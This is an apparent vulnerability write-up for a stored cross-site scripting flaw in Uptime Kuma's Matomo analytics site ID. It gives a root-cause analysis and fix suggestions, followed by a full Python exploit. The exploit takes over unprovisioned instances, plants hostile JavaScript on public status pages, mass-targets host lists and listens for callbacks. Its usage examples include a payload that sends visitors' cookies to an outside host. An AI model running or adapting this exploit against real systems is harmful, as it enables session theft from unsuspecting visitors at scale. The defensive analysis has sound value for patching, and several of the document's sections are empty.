#Summary

CVE-2026-71285 is a stored cross-site scripting vulnerability in Uptime Kuma's Matomo analytics integration. An authenticated user can inject arbitrary JavaScript into a status page's analytics configuration. The payload executes in the browser of every unauthenticated visitor to the public status page, enabling session cookie theft and full page takeover. CVSS 8.1 HIGH - attack vector network, high privilege required for injection, user interaction required for execution, scope changed.

#Affected versions

#Root cause analysis

#The vulnerable code path

The Matomo analytics integration renders the admin-supplied site ID directly into the public status page as an unquoted JavaScript expression inside a <script> block:

function getMatomoAnalyticsScript(matomoUrl, siteId) {
    let escapedMatomoUrlJS = jsesc(matomoUrl, { isScriptContext: true });
    let escapedSiteIdJS = jsesc(siteId, { isScriptContext: true });
    let escapedSiteIdHTMLAttribute = escape(escapedSiteIdJS);

    return `
        <script type="text/javascript">
            var _paq = window._paq = window._paq || [];
            _paq.push(['setTrackerUrl', u+'matomo.php']);
            _paq.push(['setSiteId', ${escapedSiteIdHTMLAttribute}]);
            ...
        </script>
    `;
}

The critical line is _paq.push(['setSiteId', ${escapedSiteIdHTMLAttribute}]); - the site ID is interpolated as a bare, unquoted expression.

#Why the escapers fail

Two defense mechanisms are applied to siteId, and neither one protects the context it actually lands in:

jsesc(siteId, { isScriptContext: true }) is a JavaScript string literal escaper. When called without wrap: true, it returns the escaped contents of a string with no surrounding quotes - safe only if the caller puts it inside quotes. The caller does not.

escape() from html-escaper encodes & < > " ' as HTML entities. The variable name escapedSiteIdHTMLAttribute and comment "Escape the website id for use in an HTML attribute" reveal the author's intent: that this value would end up inside an HTML attribute like data-site-id="...". Inside the four sibling analytics providers (Google Analytics, Umami, Plausible, Rybbit), this is exactly what happens:

<script defer src="${escapedScriptUrlHTMLAttribute}" data-site-id="${escapedSiteIdHTMLAttribute}"></script>

Inside data-site-id="...", the " to &quot; conversion genuinely prevents breakout. But Matomo interpolates into a bare JavaScript expression position, not an attribute context.

#Why HTML entities don't save it

The generated script string is processed by cheerio in server/model/status_page.js:

if (analytics.isValidAnalyticsConfig(statusPage)) {
    let escapedAnalyticsScript = analytics.getAnalyticsScript(statusPage);
    head.append($(escapedAnalyticsScript));
}

<script> is an HTML rawtext element. Cheerio does not decode entities on parse nor re-encode on serialize. An &#39; produced by html-escaper is emitted to the browser as the literal seven characters &#39; and reaches the JavaScript parser as garbage, not as a quote.

#Breaking out: the payload alphabet

The two escapers between them defend against & < > " ' \ and control characters. They do not touch ( ) [ ] ; , . + = / ! { } : or the backtick. A site ID value of 1]);alert(document.cookie)// therefore produces:

_paq.push(['setSiteId', 1]);alert(document.cookie)//]);

The payload closes the array literal with ], closes the push() call with ), ends the statement with ;, executes arbitrary JavaScript, and the trailing // comments out the template's own ]); so the enclosing IIFE still parses.

#Reaching the sink

Nothing validates analyticsId on the way in. In saveStatusPage only the analytics type is allow-listed:

const validAnalyticsTypes = ["google", "umami", "plausible", "matomo", "rybbit"];
if (config.analyticsType !== null && !validAnalyticsTypes.includes(config.analyticsType)) {
    throw new Error("Invalid analytics type");
}

The UI field is a plain text input with no client-side numeric constraint. On the way out, /status/:slug is served to anyone with no published flag check:

router.get("/status/:slug", cache("5 minutes"), async (request, response) => {
    let slug = request.params.slug;
    slug = slug.toLowerCase();
    await StatusPage.handleStatusPageResponse(response, server.indexHTML, slug);
});

#Patch analysis

There is no vendor patch as of 2026-08-10. The vulnerable file server/analytics/matomo-analytics.js has exactly one commit in its history - the commit that created it - and the vulnerable line is unchanged at master and in release 2.5.0.

#What a correct fix looks like

Any of these closes the vulnerability:

  1. Wrap the interpolation in quotes so jsesc output is used in the context it was escaped for, and drop the HTML escaper:

    _paq.push(['setSiteId', '${jsesc(siteId, { isScriptContext: true })}']);
  2. Use jsesc with wrap:true and interpolate bare:

    _paq.push(['setSiteId', ${jsesc(siteId, { isScriptContext: true, wrap: true, json: true })}]);
  3. Validate analyticsId as a positive integer server-side. Matomo site IDs are always numeric, making this the tightest fix.

#Proof of concept

#exploit.py - Uptime Kuma Matomo Stored XSS PoC

#!/usr/bin/env python3
"""
CVE-2026-71285 - Uptime Kuma stored XSS via the Matomo analytics siteId
Affected: Uptime Kuma 2.1.0 through 2.5.0 (no fixed release at time of writing)
Type: Stored XSS (CWE-79) - injection into a bare JavaScript expression position

The Matomo analytics integration renders the admin-supplied site id into the public
status page as an unquoted JavaScript expression:

    _paq.push(['setSiteId', ${siteId}]);

The value is passed through jsesc (a *string literal* escaper, called without `wrap`)
and then through an HTML-entity escaper meant for attribute context. Neither touches
`]`, `)`, `;` or `(`, so a site id of `1]);<js>//` closes the array, closes the call,
ends the statement and runs arbitrary JavaScript for every unauthenticated visitor of
/status/<slug>. The trailing `//` comments out the template's own `]);`.

Payload alphabet: the HTML escaper mangles `' " < > &` and jsesc leaves a stray
backslash behind, so string constants must use backticks. This script builds a payload
that respects that constraint.

Requires one low-privilege authenticated session to plant the payload (any Uptime Kuma
account may edit a status page); the victims are unauthenticated visitors.

Usage:
  python exploit.py --host 192.168.1.10 --port 3001
  python exploit.py --host https://kuma.corp.com --payload "fetch(\\`http://10.0.0.5/\\`+document.cookie)"
  python exploit.py --host 192.168.1.10 --username admin --password hunter2 --slug public
  python exploit.py --host 192.168.1.10 --callback 10.0.0.5:8000 --wait 120
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import json
import re
import secrets
import socket
import sys
import threading
import time
from urllib.parse import urlparse

try:
    import requests
except ImportError:
    sys.stderr.write("This exploit requires the 'requests' package (pip install requests)\n")
    raise SystemExit(2)

try:
    requests.packages.urllib3.disable_warnings()  # self-signed certs are the norm here
except Exception:
    pass

CVE_ID = "CVE-2026-71285"
VULN_TYPE = "Stored XSS"

DEFAULT_PORT = 3001
DEFAULT_PAYLOAD = "alert(document.cookie)"
SEP = "\x1e"  # engine.io v4 polling packet separator


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


class ExploitError(Exception):
    """Anything that stops the run before a verdict can be reached."""


# --------------------------------------------------------------------------------------
# Minimal socket.io v4 client over the engine.io HTTP long-polling transport.
# Uptime Kuma exposes its entire management API over socket.io; polling keeps this
# script to the standard library plus requests, with no websocket dependency.
# --------------------------------------------------------------------------------------
class SocketIOClient:

    def __init__(self, base_url: str, verify_tls: bool = False, timeout: int = 20):
        self.base = base_url.rstrip("/")
        self.url = self.base + "/socket.io/"
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = verify_tls
        self.sid = None
        self.ack_id = 0
        self.events = []          # buffered server-pushed events: (name, args)
        self.acks = {}            # ack id -> payload list

    # -- transport -------------------------------------------------------------------
    def _get(self):
        params = {"EIO": "4", "transport": "polling", "t": secrets.token_hex(4)}
        if self.sid:
            params["sid"] = self.sid
        r = self.session.get(self.url, params=params, timeout=(10, self.timeout + 10))
        if r.status_code != 200:
            raise ExploitError(f"polling GET returned HTTP {r.status_code}")
        return self._ingest(r.text)

    def _post(self, body: str):
        params = {"EIO": "4", "transport": "polling", "sid": self.sid,
                  "t": secrets.token_hex(4)}
        r = self.session.post(self.url, params=params, data=body.encode("utf-8"),
                              headers={"Content-Type": "text/plain;charset=UTF-8"},
                              timeout=(10, self.timeout))
        if r.status_code != 200:
            raise ExploitError(f"polling POST returned HTTP {r.status_code}")

    def _ingest(self, raw: str):
        """Split a polling body into packets, handle transport packets, buffer the rest."""
        out = []
        for packet in raw.split(SEP):
            if not packet:
                continue
            kind = packet[0]
            if kind == "0":                      # engine.io OPEN
                self.sid = json.loads(packet[1:])["sid"]
            elif kind == "2":                    # engine.io PING -> PONG
                self._post("3")
            elif kind == "4":                    # engine.io MESSAGE = socket.io packet
                out.append(packet[1:])
                self._classify(packet[1:])
            # 3 (pong), 6 (noop) and anything else are irrelevant here
        return out

    def _classify(self, sio: str) -> None:
        if not sio:
            return
        kind, rest = sio[0], sio[1:]
        if kind == "4":
            raise ExploitError(f"server refused the socket.io connection: {rest}")
        if kind not in ("2", "3"):
            return                               # 0 CONNECT / 1 DISCONNECT: nothing to buffer
        m = re.match(r"^(\d*)(\[.*)$", rest, re.S)
        if not m:
            return
        ack, body = m.group(1), m.group(2)
        try:
            data = json.loads(body)
        except ValueError:
            return
        if kind == "3":                          # ACK for one of our emits
            self.acks[int(ack)] = data
        else:                                    # server-pushed EVENT
            self.events.append((data[0], data[1:]))

    # -- session ---------------------------------------------------------------------
    def connect(self) -> None:
        self._get()                              # handshake, picks up the sid
        if not self.sid:
            raise ExploitError("no engine.io session id in handshake response")
        self._post("40")                         # socket.io CONNECT, default namespace

    def wait_event(self, name: str, timeout: float) -> bool:
        """Poll until the named event shows up. False on timeout (not fatal)."""
        deadline = time.time() + timeout
        while time.time() < deadline:
            if any(e[0] == name for e in self.events):
                return True
            self._get()
        return any(e[0] == name for e in self.events)

    def emit(self, event: str, *args, timeout: float = 20.0):
        """Emit with an ack callback and return the acked value."""
        self.ack_id += 1
        ack = self.ack_id
        self._post("42" + str(ack) + json.dumps([event] + list(args)))
        deadline = time.time() + timeout
        while time.time() < deadline:
            if ack in self.acks:
                data = self.acks.pop(ack)
                return data[0] if len(data) == 1 else data
            self._get()
        raise ExploitError(f"no response to '{event}' within {timeout:g}s")

    def close(self) -> None:
        try:
            self._post("41")
        except Exception:
            pass
        self.session.close()


# --------------------------------------------------------------------------------------
# Callback listener - optional execution proof
# --------------------------------------------------------------------------------------
class CallbackListener(threading.Thread):
    """Bare TCP listener that records any request carrying the run nonce."""

    def __init__(self, port: int, nonce: str):
        threading.Thread.__init__(self, daemon=True)
        self.port = port
        self.nonce = nonce
        self.hits = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("0.0.0.0", port))
        self.sock.listen(16)
        self.sock.settimeout(1.0)
        self._stop = threading.Event()

    def run(self) -> None:
        while not self._stop.is_set():
            try:
                conn, addr = self.sock.accept()
            except socket.timeout:
                continue
            except OSError:
                return
            try:
                conn.settimeout(3.0)
                data = conn.recv(4096).decode("utf-8", "replace")
                first = data.split("\r\n", 1)[0]
                if self.nonce in data:
                    self.hits.append((addr[0], first))
                conn.sendall(b"HTTP/1.1 200 OK\r\n"
                             b"Access-Control-Allow-Origin: *\r\n"
                             b"Content-Length: 0\r\nConnection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                try:
                    conn.close()
                except Exception:
                    pass

    def stop(self) -> None:
        self._stop.set()
        try:
            self.sock.close()
        except Exception:
            pass


# --------------------------------------------------------------------------------------
# Core exploitation
# --------------------------------------------------------------------------------------
def build_site_id(js: str, nonce: str) -> str:
    """Wrap attacker JavaScript into a site id that breaks out of _paq.push([...])."""
    js = js.strip().rstrip(";")
    # 1]  closes the array literal, )  closes the push call, ;  ends the statement,
    # //  swallows the template's own trailing `]);` so the enclosing IIFE still parses.
    return "1]);" + js + ";//" + nonce


def check_payload_alphabet(js: str) -> str:
    """Return a warning string if the payload uses characters the escapers destroy."""
    bad = sorted(set(c for c in js if c in "'\"<>&\\") | set(c for c in js if ord(c) > 126))
    if "\n" in js or "\r" in js:
        bad.append("newline")
    if bad:
        return ("payload contains " + " ".join(repr(c) for c in bad) +
                " - these are mangled by the HTML escaper / jsesc; use backticks for strings")
    return ""


def extract_injection(body: str):
    """Locate the setSiteId line in the served HTML. Returns (line, injected_span)."""
    for line in body.splitlines():
        if "setSiteId" in line:
            line = line.strip()
            marker = "'setSiteId',"
            idx = line.find(marker)
            span = line[idx + len(marker):].strip() if idx >= 0 else ""
            return line, span
    return None, None


def analyse(span: str, nonce: str, js: str):
    """
    Decide, from the served HTML alone, whether the site id landed in statement position.
    Returns (exploited, reason).
    """
    if span is None:
        return False, "no _paq setSiteId script in the status page (analytics not rendered)"
    if nonce not in span:
        return False, "served page does not carry this run's nonce (stale cache or save lost)"
    if re.match(r"^[\"']", span):
        return False, "site id is enclosed in a string literal - target is patched"
    entity = re.search(r"&(?:#\d+|quot|apos|lt|gt|amp);", span)
    if entity:
        return False, f"site id was entity-encoded ({entity.group(0)}) - payload broke the alphabet"
    if not span.startswith("1]);"):
        return False, "site id did not break out of the array literal"
    after = span[len("1]);"):]
    if js.strip().rstrip(";") not in after:
        return False, "breakout present but the payload body was altered in transit"
    return True, "attacker JavaScript in statement position inside the _paq IIFE"


def plant(base: str, verify_tls: bool, js: str, nonce: str, username: str, password: str,
          slug: str, title: str, log=None, cleanup: bool = False, timeout: int = 20):
    """
    Full chain: authenticate, plant the payload in the status page config, fetch the
    public page unauthenticated and analyse it. Returns a result dict.
    """
    def say(n, msg):
        if log:
            log(n, msg)

    site_id = build_site_id(js, nonce)
    sio = SocketIOClient(base, verify_tls=verify_tls, timeout=timeout)
    restore = None
    try:
        say(1, f"Opening a socket.io session to {base}/socket.io/ ...")
        sio.connect()
        # The server registers its event handlers only after an await at the top of its
        # connection handler; anything emitted into that gap is dropped without an ack.
        # 'loginRequired' is emitted at the very end of that handler, so it is the signal
        # that every handler is bound.
        sio.wait_event("loginRequired", 6.0)

        need_setup = sio.emit("needSetup", timeout=timeout)
        if need_setup is True:
            say(2, f"Instance is unprovisioned - claiming it as '{username}'")
            sio.emit("setup", username, password, timeout=timeout)
        else:
            say(2, f"Instance is provisioned - authenticating as '{username}'")

        login = sio.emit("login", {"username": username, "password": password, "token": ""},
                         timeout=timeout)
        if not isinstance(login, dict) or not login.get("ok"):
            msg = login.get("msg") if isinstance(login, dict) else str(login)
            raise ExploitError(f"authentication failed: {msg} "
                               "(supply valid --username / --password)")

        say(3, f"Authenticated. Selecting status page '{slug}'")
        created = sio.emit("addStatusPage", title, slug, timeout=timeout)
        page = sio.emit("getStatusPage", slug, timeout=timeout)
        if not isinstance(page, dict) or not page.get("config"):
            raise ExploitError(f"status page '{slug}' is not reachable "
                               f"(addStatusPage said: {created})")
        config = page["config"]
        group_list = page.get("publicGroupList") or []
        restore = {
            "analyticsType": config.get("analyticsType"),
            "analyticsId": config.get("analyticsId"),
            "analyticsScriptUrl": config.get("analyticsScriptUrl"),
        }

        say(4, "Writing the hostile Matomo site id into the status page config")
        config["analyticsType"] = "matomo"
        config["analyticsScriptUrl"] = config.get("analyticsScriptUrl") or "matomo.example.com"
        config["analyticsId"] = site_id
        saved = sio.emit("saveStatusPage", slug, config, config.get("icon"), group_list,
                         timeout=timeout)
        if not isinstance(saved, dict) or not saved.get("ok"):
            msg = saved.get("msg") if isinstance(saved, dict) else str(saved)
            raise ExploitError(f"saveStatusPage refused the payload: {msg}")
    finally:
        sio.close()

    say(5, f"Fetching {base}/status/{slug} with no authentication")
    r = requests.get(f"{base}/status/{slug}", timeout=timeout, verify=verify_tls,
                     headers={"Cache-Control": "no-cache"})
    line, span = extract_injection(r.text)
    exploited, reason = analyse(span, nonce, js)

    if cleanup and restore is not None:
        try:
            sio2 = SocketIOClient(base, verify_tls=verify_tls, timeout=timeout)
            sio2.connect()
            sio2.wait_event("loginRequired", 6.0)
            sio2.emit("login", {"username": username, "password": password, "token": ""},
                      timeout=timeout)
            page = sio2.emit("getStatusPage", slug, timeout=timeout)
            cfg = page["config"]
            cfg.update(restore)
            sio2.emit("saveStatusPage", slug, cfg, cfg.get("icon"),
                      page.get("publicGroupList") or [], timeout=timeout)
            sio2.close()
            say(6, "Cleanup: original analytics configuration restored")
        except Exception as exc:
            say(6, f"Cleanup failed ({exc.__class__.__name__}: {exc}) - "
                   f"restore analyticsType manually on '{slug}'")

    return {
        "exploited": exploited,
        "reason": reason,
        "status_code": r.status_code,
        "site_id": site_id,
        "line": line,
        "span": span,
        "body_len": len(r.text),
    }


def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", **kwargs):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    base = _base_url(host, port, use_tls, path)
    nonce = secrets.token_hex(8)
    js = kwargs.get("payload") or DEFAULT_PAYLOAD
    try:
        res = plant(base, kwargs.get("verify_tls", False), js, nonce,
                    kwargs.get("username", "operator"),
                    kwargs.get("password", "Str0ngPassw0rd!23"),
                    kwargs.get("slug", "status"),
                    kwargs.get("title", "Status"),
                    log=None, cleanup=kwargs.get("cleanup", False),
                    timeout=kwargs.get("timeout", 20))
    except ExploitError as exc:
        return False, str(exc)
    except requests.exceptions.RequestException as exc:
        return False, f"unreachable ({exc.__class__.__name__})"
    except Exception as exc:
        return False, f"{exc.__class__.__name__}: {exc}"
    if res["exploited"]:
        return True, f"stored XSS planted on /status/{kwargs.get('slug', 'status')} - {res['reason']}"
    return False, res["reason"]


def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    scheme = "https" if use_tls else "http"
    prefix = (path or "/").rstrip("/")
    return f"{scheme}://{host}:{port}{prefix}"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, **kwargs)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host: str, port: int, use_tls: bool, path: str, args) -> None:
    header(host, port)
    base = _base_url(host, port, use_tls, path)
    nonce = secrets.token_hex(8)

    js = args.payload
    warning = check_payload_alphabet(js)
    if warning:
        section("PAYLOAD WARNING", warning)

    listener = None
    if args.callback:
        cb_host, _, cb_port = args.callback.partition(":")
        cb_port = int(cb_port or 80)
        # The beacon runs first so execution is proven even if the rest of the payload throws.
        js = f"fetch(`http://{cb_host}:{cb_port}/{nonce}`);" + js
        try:
            listener = CallbackListener(cb_port, nonce)
            listener.start()
            print(f"[*] Callback listener bound on 0.0.0.0:{cb_port} (nonce {nonce})")
        except OSError as exc:
            print(f"[*] Could not bind port {cb_port} ({exc}) - beacon still planted, "
                  f"catch it on your own listener")

    print(f"[*] Injected JavaScript : {js}")
    print(f"[*] Site id sent        : {build_site_id(js, nonce)}\n")

    try:
        res = plant(base, args.insecure_verify, js, nonce, args.username, args.password,
                    args.slug, args.title, log=step, cleanup=args.cleanup,
                    timeout=args.timeout)
    except ExploitError as exc:
        if listener:
            listener.stop()
        section("ABORTED", str(exc))
        done(False, f"Exploit chain stopped: {exc}")
    except requests.exceptions.RequestException as exc:
        if listener:
            listener.stop()
        done(False, f"Target unreachable: {exc.__class__.__name__}: {exc}")

    section(f"SERVED HTML - /status/{args.slug} (HTTP {res['status_code']}, "
            f"{res['body_len']} bytes)", res["line"] or "(no setSiteId line in response)")

    if not res["exploited"]:
        if listener:
            listener.stop()
        done(False, f"Payload sent but not exploitable: {res['reason']}")

    section("INJECTED SPAN (raw, after \"'setSiteId',\")", res["span"])

    if listener:
        deadline = time.time() + args.wait
        print(f"[STEP 6] Waiting up to {args.wait}s for a browser to load "
              f"/status/{args.slug} and call back ...")
        while time.time() < deadline and not listener.hits:
            time.sleep(0.5)
        hits = list(listener.hits)
        listener.stop()
        if hits:
            section("CALLBACK RECEIVED",
                    "\n".join(f"{ip} -> {req}" for ip, req in hits))
            done(True, f"Stored XSS executed in a victim browser - nonce {nonce} "
                       f"called back from {hits[0][0]}")
        print(f"[*] No callback within {args.wait}s - the payload is stored and will fire "
              f"on the next visit")

    done(True, f"Stored XSS planted on /status/{args.slug} - {res['reason']}: "
               f"{(res['span'] or '')[:120]}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. https://kuma.corp.com:3001/path)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                        help=f"Default port (default: {DEFAULT_PORT})")
    parser.add_argument("--payload", default=DEFAULT_PAYLOAD,
                        help="JavaScript to store and execute in every visitor's browser "
                             f"(default: {DEFAULT_PAYLOAD}). Use backticks for strings: "
                             "quotes, angle brackets and backslashes are destroyed by the "
                             "server's escaping.")
    parser.add_argument("--username", default="operator",
                        help="Account used to plant the payload; also the account created "
                             "if the instance is unprovisioned (default: operator)")
    parser.add_argument("--password", default="Str0ngPassw0rd!23",
                        help="Password for --username (default: Str0ngPassw0rd!23)")
    parser.add_argument("--slug", default="status",
                        help="Status page slug to poison, created if absent (default: status)")
    parser.add_argument("--title", default="Status",
                        help="Title used if the status page has to be created")
    parser.add_argument("--callback", metavar="HOST:PORT",
                        help="Prepend a fetch() beacon to the payload and listen on PORT "
                             "for it, proving execution in a real browser")
    parser.add_argument("--wait", type=int, default=60,
                        help="Seconds to wait for a callback (default: 60)")
    parser.add_argument("--cleanup", action="store_true",
                        help="Restore the original analytics configuration after proving it")
    parser.add_argument("--timeout", type=int, default=20,
                        help="Per-operation network timeout in seconds (default: 20)")
    parser.add_argument("--insecure-verify", action="store_true",
                        help="Verify TLS certificates (off by default)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             payload=args.payload, username=args.username, password=args.password,
             slug=args.slug, title=args.title, cleanup=args.cleanup,
             timeout=args.timeout, verify_tls=args.insecure_verify)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args)

#Usage

Single target test:

python exploit.py --host 192.168.1.10 --port 3001
python exploit.py --host https://kuma.corp.com

With custom credentials and payload:

python exploit.py --host 192.168.1.10 --username admin --password hunter2 --slug public
python exploit.py --host 192.168.1.10 --payload 'fetch(`http://10.0.0.5/`+document.cookie)'

With execution proof and cleanup:

python exploit.py --host 192.168.1.10 --callback 10.0.0.5:8000 --wait 120
python exploit.py --host 192.168.1.10 --cleanup

Expected output (vulnerable target):

_paq.push(['setSiteId', 1]);alert(document.cookie);//<nonce>]);

Expected output (patched target):

_paq.push(['setSiteId', "1]);alert(document.cookie);//<nonce>"]);

On a patched target, the site ID is wrapped in quotes and the exploit reports failure.

#Exploitation notes

#Preconditions

#Impact

#Reliability

100% - The exploit chains authentication through socket.io, writes the configuration through the standard API, and proves execution by detecting the injected JavaScript in the served HTML.

#Chaining potential

Full DOM access within the scope of the status page origin. Can chain with other same-origin vulnerabilities or use as a staging point for further attacks.

#References